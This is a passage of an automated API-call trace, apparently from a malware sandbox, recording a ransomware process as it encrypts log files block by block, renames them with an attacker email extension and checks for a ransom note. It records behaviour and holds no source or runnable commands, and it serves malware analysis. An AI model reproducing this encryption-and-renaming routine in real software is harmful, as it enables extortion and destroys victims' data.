	[0083.164] ReadFile (in: hFile=0x16d8, lpBuffer=0x179bfc1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x179bfc18, lpOverlapped=0x0 | out: lpBuffer=0x179bfc1c*, lpNumberOfBytesRead=0x179bfc18*=0x4, lpOverlapped=0x0) returned 1
	[0083.170] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0083.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33de8
	[0083.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.170] NtQuerySystemTime (in: CurrentTime=0x179bfbf8 | out: CurrentTime=0x179bfbf8*=132251868099056845) returned 0x0
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x67a1c810
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xc0aa12b8
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x951222dc
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x3e8e19fb
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x6a173fd0
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x468c4cfa
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x3d784284
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x799b1181
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x38bc68a2
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xccd8d1b3
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xcc2cd4c0
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x1b78016b
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xa6f68665
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x151a02b7
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xe8e445f1
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xb679747d
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xf208809e
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x87912252
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xa2d64663
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x8982e7e9
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xf9e038b3
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x753e41d8
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x6ec81b3f
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xfabf5e1d
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xcf1fd93b
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xc546f734
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x3f850ec1
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x442d2d23
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xda7b5a62
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xf7bb11e1
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0xcb88a74a
	[0083.171] RtlRandom (in: Seed=0x179bfc04 | out: Seed=0x179bfc04) returned 0x67aa4f4a
	[0083.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0083.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff2800
	[0083.180] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.180] ReadFile (in: hFile=0x16d8, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x179bfbd8, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x179bfbd8*=0xc800, lpOverlapped=0x0) returned 1
	[0083.182] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0083.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0083.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d20
	[0083.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0083.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0083.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0083.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0083.184] WriteFile (in: hFile=0x16d8, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x179bfbd8, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x179bfbd8*=0xc800, lpOverlapped=0x0) returned 1
	[0083.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0083.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0083.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf608
	[0083.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf6c8
	[0083.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0083.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0083.190] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.190] WriteFile (in: hFile=0x16d8, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x179bfc58, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x179bfc58*=0x13b, lpOverlapped=0x0) returned 1
	[0083.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0083.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0083.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33de8) returned 1
	[0083.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0083.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0083.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719460
	[0083.193] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl"
	[0083.193] wcscat (in: _Dest=0x4719460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.193] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x179bfc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47674f0
	[0083.193] NtSetInformationFile (FileHandle=0x16d8, IoStatusBlock=0x179bfc08, FileInformation=0x47674f0, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0083.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1
	[0083.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0083.194] NtQueryInformationFile (in: FileHandle=0x16d8, IoStatusBlock=0x179bfc1c, FileInformation=0x179bfbf4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x179bfc1c, FileInformation=0x179bfbf4) returned 0x0
	[0083.194] NtSetInformationFile (FileHandle=0x16d8, IoStatusBlock=0x179bfc1c, FileInformation=0x179bfbf4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.195] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0083.195] FlushFileBuffers (hFile=0x16d8) returned 1
	[0083.196] CloseHandle (hObject=0x16d8) returned 1
	[0083.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf608
	[0083.200] wcscpy (in: _Dest=0x2daf608, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0083.200] wcscat (in: _Dest=0x2daf608, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0083.200] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0083.200] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.200] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e353f0) returned 1

Thread:
	id = 623
	os_tid = 0x18e8

	[0077.516] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.003.etl")) returned 0x2020
	[0081.771] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl", dwFileAttributes=0x20) returned 1
	[0082.654] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.003.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1454
	[0082.654] GetFileSizeEx (in: hFile=0x1454, lpFileSize=0x17a3fe88 | out: lpFileSize=0x17a3fe88*=131072) returned 1
	[0082.654] SetFilePointerEx (in: hFile=0x1454, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.654] ReadFile (in: hFile=0x1454, lpBuffer=0x17a3fe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17a3fe08, lpOverlapped=0x0 | out: lpBuffer=0x17a3fe0c*, lpNumberOfBytesRead=0x17a3fe08*=0x4, lpOverlapped=0x0) returned 1
	[0082.658] SetFilePointerEx (in: hFile=0x1454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.658] NtQuerySystemTime (in: CurrentTime=0x17a3fde8 | out: CurrentTime=0x17a3fde8*=132251868093900792) returned 0x0
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x277c2c18
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x7056b3a0
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x39f3d017
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x8fe7f9aa
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x17ebf05
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xaba94cab
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x1ee48f4b
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x9a3f2366
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xbecf52bc
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xd9a19ae9
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x1feb7cb7
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xae54da2a
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x4e9716b8
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xa06b659a
	[0082.658] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xde90102a
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x98168c09
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x2505b82f
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x1a9a5e51
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x10e1332
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x568731a5
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x65d136d4
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xe9b15cb5
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x2198a351
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x81cdd4f6
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xecc21c6a
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xe4799ea2
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x9505de43
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x92420b4a
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xba9f6632
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0x479cfc46
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xbba0a8af
	[0082.659] RtlRandom (in: Seed=0x17a3fdf4 | out: Seed=0x17a3fdf4) returned 0xc7968db6
	[0082.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.667] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0082.667] SetFilePointerEx (in: hFile=0x1454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.667] ReadFile (in: hFile=0x1454, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17a3fdc8, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x17a3fdc8*=0xc800, lpOverlapped=0x0) returned 1
	[0082.669] SetFilePointerEx (in: hFile=0x1454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfacd0
	[0082.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0082.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.669] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0082.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0082.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfacd0) returned 1
	[0082.670] WriteFile (in: hFile=0x1454, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17a3fdc8, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x17a3fdc8*=0xc800, lpOverlapped=0x0) returned 1
	[0082.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0082.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0082.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daeb28
	[0082.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2dae9a8
	[0082.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0082.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0082.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0082.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0082.673] SetFilePointerEx (in: hFile=0x1454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.673] WriteFile (in: hFile=0x1454, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17a3fe48, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x17a3fe48*=0x13b, lpOverlapped=0x0) returned 1
	[0082.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0082.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dae9a8) returned 1
	[0082.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daeb28) returned 1
	[0082.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0082.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718690
	[0082.675] wcscpy (in: _Dest=0x4718690, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl"
	[0082.675] wcscat (in: _Dest=0x4718690, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0082.675] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17a3fe00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0082.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33d88
	[0082.675] NtSetInformationFile (FileHandle=0x1454, IoStatusBlock=0x17a3fdf8, FileInformation=0x4e33d88, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0083.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33d88) returned 1
	[0083.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5380) returned 1
	[0083.263] NtQueryInformationFile (in: FileHandle=0x1454, IoStatusBlock=0x17a3fe0c, FileInformation=0x17a3fde4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17a3fe0c, FileInformation=0x17a3fde4) returned 0x0
	[0083.263] NtSetInformationFile (FileHandle=0x1454, IoStatusBlock=0x17a3fe0c, FileInformation=0x17a3fde4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718690) returned 1
	[0083.264] FlushFileBuffers (hFile=0x1454) returned 1
	[0083.267] CloseHandle (hObject=0x1454) returned 1
	[0083.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf608
	[0083.271] wcscpy (in: _Dest=0x2daf608, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0083.271] wcscat (in: _Dest=0x2daf608, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0083.271] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0083.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35e08) returned 1

Thread:
	id = 624
	os_tid = 0x18ec

	[0077.517] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.004.etl")) returned 0x2020
	[0082.849] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl", dwFileAttributes=0x20) returned 1
	[0083.233] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.004.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16dc
	[0083.233] GetFileSizeEx (in: hFile=0x16dc, lpFileSize=0x17abfddc | out: lpFileSize=0x17abfddc*=131072) returned 1
	[0083.233] SetFilePointerEx (in: hFile=0x16dc, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.233] ReadFile (in: hFile=0x16dc, lpBuffer=0x17abfd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17abfd5c, lpOverlapped=0x0 | out: lpBuffer=0x17abfd60*, lpNumberOfBytesRead=0x17abfd5c*=0x4, lpOverlapped=0x0) returned 1
	[0083.236] SetFilePointerEx (in: hFile=0x16dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
